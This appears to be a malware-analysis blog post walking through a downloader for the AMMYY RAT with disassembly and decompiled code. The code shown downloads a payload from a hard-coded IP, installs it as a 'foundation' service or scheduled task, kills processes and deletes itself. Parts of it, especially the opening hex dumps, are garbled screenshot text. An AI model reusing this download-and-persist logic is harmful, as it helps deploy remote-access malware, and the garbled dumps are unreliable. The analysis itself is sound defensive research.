Dump 1 Dump 2 dr ess Hex 400FF0 00 00 00 401000 55 8B EC 81 401010 06 C7 45 FC 00 401020 2C 34 00 08 34 100 FF 401040 8B E5 DC 35 77 401050 08 32 47 401060 75 08 56 FF D0 401060 75 08 56 FF D0 401070 33 401080 FF 55 SD 34 401090 33 00 08 C4 401040 86 55 50 401090 33 60 36 00 401040 65 75 20 68 401060 75 68 57 50 68 401060 57 52 68 50 50 50 50 50 50 50	00 00 00 08 04 00 00 00 00 00 C4 08 60 00 00 88 F0 88 68 66 80 00 00 08 70 83 00 08 70 83 00 00 03 63 03 63 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 <td< th=""><th>Ump 4 00 00 00 00 00 56 68 D 00 56 68 D 00 56 68 D 00 64 00 63 57 18 64 00 00 00 80 67 4 08 57 7 18 4 57 57 50 67 14 F1 F8 0 00 00 26 64 75 75 14 F1 F8 0 00 0 00 27 64 75 75 60 77</th><th>Image: Constraint of the second sec</th><th>00 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF 14 73 83 C8 E8 BD 02 6A B8 33 00 00 75 32 00 60 00 75 14 73 00 60 00 60 00 68 00 00 00 00 00</th><th>Watch 1 [x=] Locals Struct ASCII </th><th></th></td<>	Ump 4 00 00 00 00 00 56 68 D 00 56 68 D 00 56 68 D 00 64 00 63 57 18 64 00 00 00 80 67 4 08 57 7 18 4 57 57 50 67 14 F1 F8 0 00 00 26 64 75 75 14 F1 F8 0 00 0 00 27 64 75 75 60 77	Image: Constraint of the second sec	00 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF 14 73 83 C8 E8 BD 02 6A B8 33 00 00 75 32 00 60 00 75 14 73 00 60 00 60 00 68 00 00 00	Watch 1 [x=] Locals Struct ASCII	
Jump 1 Jump 2 dress Hex 400FF0 00 00 00 401000 55 88 EC 81 EC 401010 06 74 75 FC 00 401020 2 34 00 08 34 100 FF 401030 88 14 41 00 FF 401040 S6 FF 00 401050 08 35 FF 00 401060 FF 5E S6 FF 100 401080 FF 5E 88 55 5D 401030 33 00 08 36 00 401080 FF 5E 88 55 5D 401040 06 A0 36 00 00 83 C4 04 04 04 04 04 04 05 75 75 52 68 40 04 04 04 04 05 04	00 00 00 0 08 04 00 0 00 00 00 0 0 00 00 00 0 0 00 00 00 0 0 00 08 86 6 0 00 08 08 00 83 0 00 00 08 33 68 0 0 03 63 00 0 00 00 00 8 00 00 03 0 0 0 0 0 03 6A 00 0 00 0	Dump 4 Dump 4 Dum 4 D	0 00 00 7 3D 59 0 00 00 7 3D 59 0 00 00 8 83 C8 6 E8 FF 0 5F 8 6A 01 8 8 6 8	00 00 08 6A 00 E8 00 68 FF 5E 33 00 00 FF 14 73 83 C8 83 C8 84 C8 84 C8 00 00 75 33 00 00 75 33 75 55 7	Watch 1 [x=]Locals Struct ASCII	

Inside 0x30730 (offset 0x730) function it build IAT for the new PE file:



After that, it jumps to the entry point of the new PE file:

ouncea	options map summer	20.10	
† =	& 📓 🖉 🧏 🥔 🥒 :	fx # A2 🖺 🗐 👮	
lotes	Breakpoints Me	emory Map 🗐 Call Stack 🗠 SEH 💽 Script	🔮 Symbols 🛛 🗠 Source
^	EB F7 64 A3 00 00 00 00 88 8D 6C FF FF FF 88 55 D8 03 51 28 89 55 AC FF 55 AC 88 E5 50 C3 CC CC CC CC CC CC CC CC	<pre>jmp 30591 mov dword ptr ::[0],eax mov ecx,dword ptr ss:[ebp-94] mov edx,dword ptr ss:[ebp-28] add edx,dword ptr ds:[ecx+28] mov dword ptr ss:[ebp-54],edx call dword ptr ss:[ebp-54],edx call dword ptr ss:[ebp-54] mov esp,ebp pop ebp ret int3 int3 int3 int3 int3 int3 int3 int</pre>	[ebp-94]:"PE"

Instead of continuing analysis, it's much easier to dump the new **PE** and analyze it separately.

Stage 2

The second **PE** is full of junk instructions, too. The interesting part starts at **0**×0401EED location.

- <u>/</u>	
00401EED push	1 ; uMode
00401EEF call	ds:SetErrorMode
00401EF5 call	sub_403B10
00401EFA push	0FDE006E3h
00401EFF push	4
00401F01 call	sub_404450
00401F06 add	esp, 8
00401F09 call	eax
00401F0B push	offset aWsusExe ; "wsus.exe"
00401F10 call	sub_403DE0
00401F15 push	offset aWsusExe_0 ; "wsus.exe"
00401F1A call	sub_403DE0
00401F1F push	offset aWsusExe_1 ; "wsus.exe"
00401F24 call	sub_403DE0
00401F29 push	offset aWsusExe_2 ; "wsus.exe"
00401F2E call	sub_403DE0
00401F33 push	570BC88Fh
00401F38 push	4
00401F3A call	sub_404450
00401F3F add	esp, 18h
00401F42 push	0
00401F44 push	0
00401F46 push	offset aCNetExeStopAmm ; "/C net.exe stop ammyy"
00401F4B push	offset aCmd ; "cmd"
00401F50 push	0
00401F52 push	0
00401F54 call	eax
00401F56 push	570BC88Fh
00401F5B push	4
00401F5D call	sub_404450
00401F62 add	esp, 8
00401F65 push	0
00401F67 push	0
00401F69 push	offset aCScDeleteAmmyy ; "/C sc delete ammyy"
00401F6E push	offset aCmd_0 ; "cmd"
00401F73 push	0
00401F75 push	0
00401F77 call	eax

hronized with FIP)

Inside the sub_403B10 function, it tries to delete Settings, Microsoft\\Enc, AMMYY, Foundation and Foundation1 directories, also following files: wmihost.exe, settings3.bin, wmites.exe, wsus from different directories:

```
SHGetSpecialFolderPathA(0, &szPath, CSIDL_COMMON_APPDATA, 0);
  sub_405B64("%s\n", &szPath);
  wsprintfA(&FileName, "%s\\AMMYY\\wmihost.exe", &szPath);
  wsprintfA(&v4, "%s\\AMMYY\\settings3.bin", &szPath);
 wsprintfA(&v12, "%s\\Foundation\\wmites.exe", &szPath);
wsprintfA(&v6, "%s\\Foundation\\settings3.bin", &szPath);
wsprintfA(&v10, "%s\\Foundation1\\wmites.exe", &szPath);
wsprintfA(&v2, "%s\\Foundation1\\settings3.bin", &szPath);
wsprintfA(&v15, "%s\\Microsoft\\wsus.exe", &szPath);
wsprintfA(&v14, "%s\\Microsoft\\settings3.bin", &szPath);
  DeleteFileA(&FileName);
  DeleteFileA(&v4);
  DeleteFileA(&v12);
  DeleteFileA(&v6);
  DeleteFileA(&v10);
  DeleteFileA(&v2);
 DeleteFileA(&v15);
 DeleteFileA(&v14);
 wsprintfA(&v13, "%s\\Microsoft Help\\wsus.exe", &szPath);
wsprintfA(&v11, "%s\\Microsoft Help\\settings3.bin", &szPath);
  DeleteFileA(&v13);
  DeleteFileA(&v11);
  wsprintfA(&PathName, "%s\\Settings", &szPath);
  wsprintfA(&v7, "%s\\Microsoft\\Enc", &szPath);
  wsprintfA(&v5, "%s\\AMMYY", &szPath);
  wsprintfA(&v3, "%s\\Foundation", &szPath);
 wsprintfA(&v1, "%s\\Foundation1", &szPath);
 RemoveDirectoryA(&PathName);
  RemoveDirectoryA(&v7);
  RemoveDirectoryA(&v5);
  RemoveDirectoryA(&v3);
  return RemoveDirectoryA(&v1);
00000507 aub 402010.00 (402007)
```

It uses **sub_404450** to get a function addresses based on some kind of hash, which is passed via the second argument:

	×	👿 General registers		8
00401EE5 test al, al 00401EE5 test al, al 00401EE7 is end block 00401EE7 pist end block 00401EE7 call delte dirs files 00401EE7 call delte dirs files 00401EF7 call delte dirs files 00401EF7 push 4 00401EF6 call sub_404050 00401EF6 call eax 00401F06 add esp, 8 00401F10 call sub_403DE0 00401F10 call sub_403DE0 00401F15 push offset aWsu5Exe 0 ; "wsus.exe" 00401F15 push offset aWsu5Exe 0 ; "wsus.exe" 00401F15 push offset aWsu5Exe 1 ; "wsus.exe"		EAX 0000000 EBX 76D35980 kernel32.dll:kernel32_LoadLibraryA ECX 5AI7C0F4 EDX 00000000 ESI 76D8DB30 kernel32.dll:kernel32_GetCurrentProcessIc EDI 00000007 EBP 0019FF34 Stack[00001500]:0019FF34 ESP 0019FAA8 Stack[00001500]:0019FAA8 EIP 00401EFA WinMain(x,x,x,x)+4DA EFL 00000246	1	ID VIF AC VM RF NT OF DF IF TF SF ZF AF CF

The 0x403DE0 function gets process name as the argument and terminates the corresponding process:

```
0----
        00401F06 add
                          esp, 8
        00401F09 call
                        eax
                        offset aWsusExe ; "wsus.exe"
        00401F0B push
        00401F10 call terminateProcess 403DE0
        00401F15 push offset aWsusExe 0 ; "wsus.exe"
        00401F1A call terminateProcess 403DE0
        00401F1F push offset aWsusExe_1 ; "wsus.exe"
        00401F24 call terminateProcess_403DE0
00401F29 push offset aWsusExe_2 ; "wsus.exe"
00401F2E call terminateProcess_403DE0
                          570BC88Fh
        00401F33 push
        00401F38 push
                        4
        00401F3A call
                        getFunc_fromHash
        00401F3F add
                          esp, 18h
        00401F42 push
                          0
        00401F44 push
                        0
14
    CreateToolhelp32Snapshot = getFunc_fromHash(1, 0x5BC1D14F);
15
    v2 = CreateToolhelp32Snapshot(2, 0);
16
17
    if ( v2 != -1 )
18
    {
19
      v10 = 0x128;
      v3 = getFunc_fromHash(1, 0x19F78C90);
20
      if ( v3(v2, &v10) )
21
22
      Ł
23
        do
24
         ſ
           if ( !lstrcmpA(&String1, lpString2) )
25
26
           {
             v4 = v11;
27
             v5 = getFunc_fromHash(1, 0x99A4299D);
28
29
             v6 = v5(1, 0, v4);
30
             if ( v6 )
31
             {
32
               terminateProcess = getFunc_fromHash(1, 0x9E6FA842);
33
                    .nateProcess(v6, 0xFFFFFFFF);
34
               CloseHandle(v6);
35
             }
           }
36
          nextProc = getFunc_fromHash(1, 0xC930EA1E);
37
38
39
        while ( nextProc(v2, &v10) );
40
      }
41
    }
    return CloseHandle(v2);
42
13
```

It executes following commands using ShellExecuteW function: cmd /C net.exe stop ammyy, cmd /C sc delete ammyy, cmd /C net.exe stop foundation and cmd /C sc delete foundation

```
00401F44 push
                 0
00401F46 push offset aCNetExeStopAmm ; "/C net.exe stop ammyy"
00401F4B push offset aCmd ; "cmd"
00401F50 push 0
00401F52 push 0
                                 ; ShellExecuteW
00401F54 call eax
00401F56 push 570BC88Fh
00401F5B push 4
00401F5D call getFunc_fromHash
00401F65 push 0
00401F67 push 0
00401F69 push offset aCScDeleteAmmyy ; "/C sc delete ammyy"
00401F6E push offset aCmd_0 ; "cmd"
00401F73 push 0
00401F75 push 0
00401F77 call eax
00401F79 push 570BC88Fh
00401F7E push 4
                       ; ShellExecuteW
00401F80 call getFunc_fromHash
00401F85 add esp, 8
00401F88 push 0
00401F8A push 0
00401F8C push offset aCNetExeStopFou ; "/C net.exe stop foundation"
00401F91 push offset aCmd_1 ; "cmd"
00401F96 push 0
00401F98 push 0
00401F9A call eax ; ShellExecuteW
00401F9C push 570BC88Fh
00401FA1 push 4
00401FA3 call getFunc_fromHash
00401FA8 add esp, 8
00401FAB push 0
00401FAD push 0
00401FAF push offset aCScDeleteFound ; "/C sc delete foundation"
00401FB4 push offset aCmd_2 ; "cmd"
00401FB9 push 0
00401FBB push 0
00401FBD call eax
00401FBF mov esi.ds:SHGetSpecialFolderPathA
```

These commands stop the malware if there is one.

It generates random name (via CoCreateGuid) for a PE file, which it downloads from http://185.176.221.29/ban3.dat :

Path Realt Detail C.VPogramData/Microsoft Help/wsus_41b480tmp NAME NOT FOUND Desired Access: R 06402101 loc_4021011 06402101 lea eax, [cbp+pguid] 06402104 push 06402101 lea eax, [cbp+pguid] 06402104 06402105 call ds:CoCreateGuid 06402106 06402106 push cSIDL_COMMON_APPDATA ; nFolder 06402105 push cSIDL_COMMON_APPDATA ; nFolder 06402116 push eax, [cbp+rag_278] 06402116 push eax, [cbp+rguid.loata2] 06402121 mourx eax, [cbp+pguid.loata1] 06402128 push ccx, [cbp+pguid.loata3] 06402129 push ccx, [cbp+pguid.loata3] 06402129 push ccx, [cbp+pguid.loata3] 06402128 push ccx, [cbp+pguid.loata3] 06402129 push ccx, [cbp+pguid.loata3] 06402129 push ccx, [cbp+pguid.loata3] 06402128 push ccx, [cbp+pguid.loata3] 06402129 push ccx, [cbp+pguid.loata3] 06402124 push <td< th=""><th></th><th></th><th>IDA View-EIP</th><th>□ <i>t</i></th></td<>			IDA View-EIP	□ <i>t</i>
C:\ProgramData'Microsoft Help'wsus_41b4801mp NAME NOT FOUND Desired Access: R 004402101 loc = 042101 loc = 042101 004402105 call ds:CCCreatEduid 004402105 call ds:CCCreatEduid 004402105 call ds:CCCreatEduid 004402105 call call ds:CCCreatEduid 004402105 call call call call call call call cal	Path	Result Detail		
000000000000000000000000000000000000	C:\ProgramData\Microsoft Help\wsus 41b480.tmp	NAME NOT FOUND Desired Access: R	00402101 10c_402101	
000402105call00402105call00402105cstDcCreateGuid00402105push0cstDcCreateGuid00402105cstDcCreateGuid00402105cstDcCreateGuid00402115eax00402115eax00402115cstDcCreateGuid00402115cstDcCreateGuid00402115cstDcCreateGuid00402115cstDcCreateGuid00402115cstDcCreateGuid00402116cstDcCreateGuid00402116cstDcCreateGuid00402115cstDcCreateGuid00402115cstDcCreateGuid00402122cstDcCreateGuid00402122cst, [cbp+pguid.Data3]00402125cst, eax00402125cst, eax00402125cstDcCreateGuid00402125cstDcCreateGuid00402126cst, eax00402127cstDcCreateGuid00402128cstDcCreateGuid00402125cstDcCreateGuid00402126cstDcCreateGuid00402127cstDcCreateGuid00402128cstDcCreateGuid00402126cstDcCreateGuid00402127cstDcCreateGuid00402128cstDcCreateGuid00402126cstDcCreateGuid00402127cstDcCreateGuid00402128cstDcCreateGuid00402126cstDcCreateGuid00402127cstDcCCreateGuid00402128cstDcCCreateGuid00402126cstDcCCCreateGuid00402127cstDcCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC			00402101 Ica cax, [cbp+pgulu]	
00000000000000000000000000000000000			99492194 push dax occupationid	
00442100 pushCSIDL_COMMON_APPDATA; nFolder00442100 pushCSIDL_COMMON_APPDATA; nFolder00442116 pusheax00442115 pusheax00442116 pushesi; sMHetSpecialPoldePesthA00442118 callesi; SMHetSpecialPoldePesthA00442114 movrxecx, [ebp+pguid.Data]00442112 movrxeax, [ebp+pguid.Data]00442128 callecx, [ebp+pguid.Data]00442128 pushecx, [ebp+pguid.Data]00442129 pushecx, [ebp+pguid.Data]00442129 pushecx, [ebp+pguid.Data]00442121 pushecx, [ebp+pguid.Data]00442121 pushecx, [ebp+envar_278]00442121 pushecx, [ebp+envar_278]00442121 pushecx00442121 pushecx00442121 pushecx00442121 pushecx00442121 pushecx00442121 pushecx00442121 pushecx0044212 pushecx0044213 pushecx0044214 pushecx0044215 pushe			addallab aust a ficeate	
00402107 [Last Current Product 7, Include] 00402107 [Last Current Product 7, Include] 004021167 [Last 2, Include] 004021167 [Last 2, Include] 004021167 [Last 2, Include] 00402117 [Last 2, Include] 00402118 [Last 2, Include] 00402118 [Last 2, Include] 00402118 [Last 2, Include] 00402121 [Last 2, Include] 00402122 [Last 2, Include] 00402125 [Last 2, Include] </td <td></td> <td></td> <td>addallab puch CSTDL COMMON APPATA : peolder</td> <td></td>			addallab puch CSTDL COMMON APPATA : peolder	
<pre>00402115 push eax ;]tp:rath 00402116 push 0 ; hundDowner 00402118 call esi ; SHGetSpecialFoldePathA 0040211A movzx ecx, [ebp+pguid.Data2] 0040211E imul ecx, [ebp+pguid.Data] 00402122 movzx eax, [ebp+pguid.Data] 00402128 push ecx eax 00402128 push ecx 00402129 push offset aCProgramData\Microsoft Help" 00402121 push eax 00402128 lea eax, [ebp+var_278] 00402128 lea eax</pre>			0040210F lea eav. [chotyan 278]	
00402116 push0: hundbower00402118 callesi ; SMGetSpecialFolderPathA00402118 novzxecx, [ebp+pguid.Data2]00402112 movzxecx, [ebp+pguid.Data1]00402122 povzxecx, [ebp+pguid.Data3]00402125 pushecx, eax00402125 pushecx00402125 pushecx, ForgramData\Wicrosoft Help"00402125 pushecx, [ebp+ra_z73]00402125 pushecx00402125 pushecx0040215 pushecx0			00402115 nuch ear inszPath	
00402118 callesi ; SHGetSpecialFolderPathA00402118 movzxecx, [ebp+pguid.Data2]0040211E imulecx, [ebp+pguid.Data]00402122 movzxeax, [ebp+pguid.Data3]00402128 outecx, eax00402128 pushecx, eax004021216 lataecx, eax004021216 lataecx, eax004021216 lataecx, eax004021216 lataecx, eax004021216 lataecx, [ebp+var_278]00402121 lataeax00402121 lataeax00402121 lataeax00402121 lataeax00402121 lataeax00402131 lataeax00402135 lataeax			09402116 push 0 : bwnd0wner	
0040211A movin ecx, [ebp+pguid.Data2] 0040211E imul ecx, [ebp+pguid.Data1] 00402122 movin eax, [ebp+pguid.Data3] 00402126 add ecx, eax 00402128 push ecx 00402129 push offset aCProgramdataMi; "C:\\ProgramData\\Microsoft Help" 00402121 push exx 00402124 push eax 00402124 push eax			00402118 call esi : SHGetSpecialEolderPathA	
0040211E imul ecx, [ebp+pguid.Data1] 00402122 movzx eax, [ebp+pguid.Data3] 00402125 add ecx, eax 00402128 push ecx 00402129 push offset aCProgramdataMi ; "C:\\ProgramData\\Hicrosoft Help" 0040212E Lea eax, [ebp+var_278] 0040213E Lea eax [ebp+teleName]			0040211A movzx ecx. [ebp+pguid_Data2]	
00402122 movin eax, [ebp+pguid.Data3] 00402126 add ecx, eax 00402128 push ecx 00402129 push offset aCProgramdataMi ; "C:\\ProgramData\\Microsoft Help" 00402128 e eax, [ebp+var_278] 00402134 push eax 00402135 Lee eax, [ebp+var_278]			0040211E imul ecx, [ebp+pguid.Data1]	
00402126 add ecx, eax 00402128 push ecx 00402129 push offset aCProgramdataMi; "C:\\ProgramData\\Microsoft Help" 0040212E lea eax, [ebp+var_278] 00402135 lea eax. [ebp+tileName]			00402122 movzx eax, [ebp+pguid.Data3]	
00402128 push ecx 00402129 push offset aCProgramdataMi; "C:\\ProgramData\\Microsoft Help" 0040212E Lea eax, [ebp+var_278] 00402135 Lea eax 00402135 eax			00402126 add ecx, eax	
00402129 push offset aCProgramdataMi; "C:\\ProgramData\\Microsoft Help" 0040212E lee eax, [eby+ken_278] 00402134 push eax 00402135 lee eax, [eby+fileName]			00402128 push ecx	
0040212E lea eax, [ebp+var_278] 00402134 push eax 00402135 lea eax, [ebp+FileName]			00402129 push offset aCProgramdataMi ; "C:\\ProgramData\\Microsoft Help"	
00402134 push eax [cbu+FileName]			0040212E lea eax, [ebp+var 278]	
00402135 lea eax, [ebp+FileName]			00402134 push eax	
			00402135 lea eax, [ebp+FileName]	
0040213B push offset aSMicrosoftHelp_0 ; "%s\\MicrosoftHelp\\wsus_%x.tmp"			0040213B push offset aSMicrosoftHelp_0 ; "%s\\Microsoft Help\\wsus_%x.tmp"	
00402140 push eax ; LPSTR			00402140 push eax ; LPSTR	
00402141 call ds:wsprintfA			00402141 call ds:wsprintfA	
00402147 add esp, 14h			00402147 add esp, 14h	
0040214A lea eax, [ebp+FileName]			0040214A lea eax, [ebp+FileName]	
00402150 push eax ; lpFileName			00402150 push eax ; 1pFileName	
00402151 call ds:DeleteFileA			00402151 call ds:DeleteFileA	
00402157 lea eax, [ebp+FileName]			00402157 lea eax, [ebp+FileName]	
0040215D push eax ; ipOutputString			0040215D push eax ; ipOutputString	
0040215E call ds:OutputDebugStringA			0040215E call ds:OutputDebugStringA	
00402164 lea eax, [ebp+FileName]			00402164 Lea eax, [ebp+FileName]	
0040216A push eax			0040216A push eax	
00402168 push offset aHttp1851/62212 ; "http://185.1/6.221.29/ban3.dat"			0040216B push offset aHttp1851/62212 ; "http://185.1/6.221.29/ban3.dat"	
004021/0 call downloadiextStage_bin			004021/0 Call downloadNextStage_Din	
0040421/5 mov est, ds:SLeep			004021/5 mov esi, ds:Sleep	
00004021/B 300 eSp, 8			0040175 ddu esp, o	
000021/E push 1388n ; dwMilliseConds			goddolf/c push ison ; gwmilliseconds	
00402183 Call eS1; SLeep			00402105 (dil ESI; STEEP	
04402105 push 0 ; ntemptaterile			90402105 push 0 , memplaterile	

Inside downloadNextStage_bin function, it downloads a file from the URL and saves at above-mentionshed location:

```
v24 = 0;
v23 = 0;
InternetOpenA = getFunc_fromHash(6, 0x8593DD7);
v5 = InternetOpenA(&unk_411488, 0, 0, 0, 0);
if ( !v5 )
return -1;
InternetOpenUrlA = getFunc_fromHash(6, -1199719066);
v8 = InternetOpenUrlA(v5, URL, 0, 0, 2147483648, 0, a2);
if ( v8 )
{
  CreateFileA = getFunc_fromHash(1, 0x8F8F114);
  v11 = CreateFileA(a4, 0xC0000000, 3, 0, 2, 128, 0, a1);
  if ( v11 == -1 )
  {
   v12 = getFunc_fromHash(6, 0x7314FB0C);
   v12();
   v13 = getFunc_fromHash(1, 0x723EB0D5);
    v13();
   result = -1;
  }
  else
  ſ
    InternetReadFile = getFunc_fromHash(6, 0x1A212962);
    InternetReadFile(v8, &v22, 1024, &v24);
    v15 = v24;
    if ( v24 )
```

It copies the new file to CSIDL_COMMON_APPDATA\Microsoft Help\\wsus.exe and deletes original one:

```
00402287 push edi

00402288 call writeFile ; C:\ProgramData\Microsoft Help\wsus.exe

0040228D add esp, 1Ch

00402290 lea eax, [ebp+FileName]

00402296 push eax ; lpFileName

00402297 call ds:DeleteFileA

0040229D cmp byte ptr [edil, 4Db
```

Inside sub_402960 function if the user is an admin, it executes above-mentioned commands once again, registers the downloaded PE file as a service called foundation and starts it:

	00402979 lea ecx, 0040297F push 0 00402981 push CSIDL 00402983 push ecx 00402984 push ecx	[ebp+ProgamDataPath] _COYMON_APPDATA
	00402994 push 0 00402995 call eax 00402985 call eax 00402985 lea eax, 00402994 push eax 00402995 push call eax 00402994 push eax 00402943 push 0FDE0 00402943 push 4 00402944 call getFu 00402942 call eax	<pre>; SHGetSpecialFolderPathW fs:wsprintfW [ebp+ProgamDataPath] [ebp+exePath] t aSMicrosoftHelp_2; "%s\\Microsoft Help\\wsus.exe" ; LPWSTR wsprintfW a6E3h nc_fromHash L4h ; isUserAdmin ex</pre>
1 -4 17	004029B6 jz loc_4	
Implicit S708C88Fh 00402901 push 4 00402901 push 4 00402902 acall getFunc_fromHz 00402902 push 0 00402904 push offset aCMetB 00402905 push 0 00402905 push 4 00402905 push 4 00402905 call actEuro 00402905 call actEuro	<pre>ish ceStopAmm_0; "/C net.exe stop ammyy" ; "cmd" </pre>	uml (uml) 00402828 00402828 00402828 00402828 00402828 00402828 00402828 00402828 00402828 00402828 00402828 00402828 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402837 00402841 00402842 00402842 00402842 00402844 00402846 00402846 00402840 00402840 00402840 00402840 00402840 00402840 00402840 00402840 00402840 00402840 00402840 <

00402A65 lea	eax, [ebp+OutputString]	
00402A6B push	offset aCScCreateFound ; "/C sc create foundation binPath= \"%s -"	
00402A70 push	eax ; LPWSTR	
00402A71 call	esi ; wsprintfW	
00402A73 add	esp, 0Ch	
00402A76 lea	eax, [ebp+OutputString]	
00402A7C push	eax ; lpOutputString	
00402A7D call	ds:OutputDebugStringW	
00402A83 push	570BC88Fh	
00402A88 push	4	
00402A8A call	getFunc_fromHash	
00402A8F add	esp, 8	
00402A92 lea	ecx, [ebp+OutputString]	
00402A98 push	0	
00402A9A push	0	
00402A9C push	ecx	
00402A9D push	offset aCmd_7 ; "cmd"	
00402AA2 push	0	
00402AA4 push	0	
00402AA6 call	eax ; ShellExecuteW	
00402AA8 push	3D9972F5h	
00402AAD push	1	
00402AAF call	getFunc_fromHash	
00402AB4 add	esp, 8	
00402AB7 push	7D0h	
00402ABC call	eax	
00402ABE push	3D9972F5h	
00402AC3 push	1	
00402AC5 call	getFunc_fromHash	
00402ACA add	esp, 8	
00402ACD push	7D0h	
00402AD2 call	eax	
00402AD4 push	570BC88Fh	
00402AD9 push	4	
00402ADB call	getFunc_fromHash	
00402AE0 add	esp, 8	
00402AE3 push	0	
00402AE5 push	0	
00402AE7 push	offset aCNetExeStartFo ; "/C net.exe start foundation y "	
00402AEC push	offset aCmd_8 ; "cmd"	
00402AF1 push	0	
00403453	0	

In the end, it deletes the original, second stage **PE** file:

00402C2F push	0 ; nShowCmd
00402C31 push	0 ; 1pDirectory
00402C33 lea	<pre>eax, [ebp+String1] ; /c del C:\Users\JoTo\Desktop\SECOND~1.E1E >> NUL</pre>
00402C39 push	eax ; lpParameters
00402C3A lea	eax, [ebp+Filename]
00402C40 push	eax ; lpFile
00402C41 push	0 ; lpOperation
00402C43 push	0 ; hwnd
00402C45 call	ds: <mark>ShellExecuteA</mark>
00402C4B cmp	eax, 20h
00402C4E jle	short loc_402C59

If the user is not an admin , it uses a COM object (taskscd.dll) to create and run the executable (via scheduled task):



		•
٦	💴 🔏 🖼	
1	004028E8 lea	eax. [ebp+pyarg]
1	004028EB_push	eax : pyarg
1	004028EC mov	[ebp+var 3C], 0
1	004028F3 call	ebx : VariantInit
1	004028F5 mov	ecx, [ebp+var 1C]
1	004028F8 movq	xmm0, gword ptr [ebp+pvarg.anonymous 0]
1	004028FD mov	edx, [ecx]
1	004028FF lea	eax, [ebp+var_3C]
1	00402902 push	eax
1	00402903 sub	esp, 10h
e	00402906 mov	eax, esp
	00402908 push	ecx
	00402909 movq	qword ptr [eax], xmm0
1	0040290D movq	xmm0, qword ptr [ebp+pvarg.anonymous_0+8]
1	00402912 movq	qword ptr [eax+8], xmm0
1	00402917 call	dword ptr [edx+30h] ; Run@?QIRegisteredTask
1	0040291A mov	esi, eax
L	0040291C lea	eax, [ebp+pvarg]
-	0040291F push	eax ; pvarg
	00402920 call	edi ; VariantClear
	00402922 mov	eax, [ebp+var_8]
	00402925 push	eax
	00402926 mov	ecx, [eax]
	00402926 Call	aword ptr [ecx+o] ; AIL::CCOMODJect::Release
	00402920 mov	eax, [coptvar_4]
	0040292E push	ecy [eav]
	00402931 call	dword ptr [ecx+8]
	00402934 mov	eax. [ebp+var_10]
	00402937 push	eax
	00402938 mov	ecx. [eax]
	0040293A call	dword ptr [ecx+8]
	0040293D test	esi, esi
	0040293F js	loc 4024EE
	·	

For the more detailed information look at sub_402360 function.

After that, same happens, it deletes the original, second stage **PE** file and exist via **TerminateProcess** call:



That's all.

That was the brief overview of the AMMYY RAT Downloader .

Thank you for your time.

Discuss on Reddit

Twitter: <u>@_qaz_qaz</u>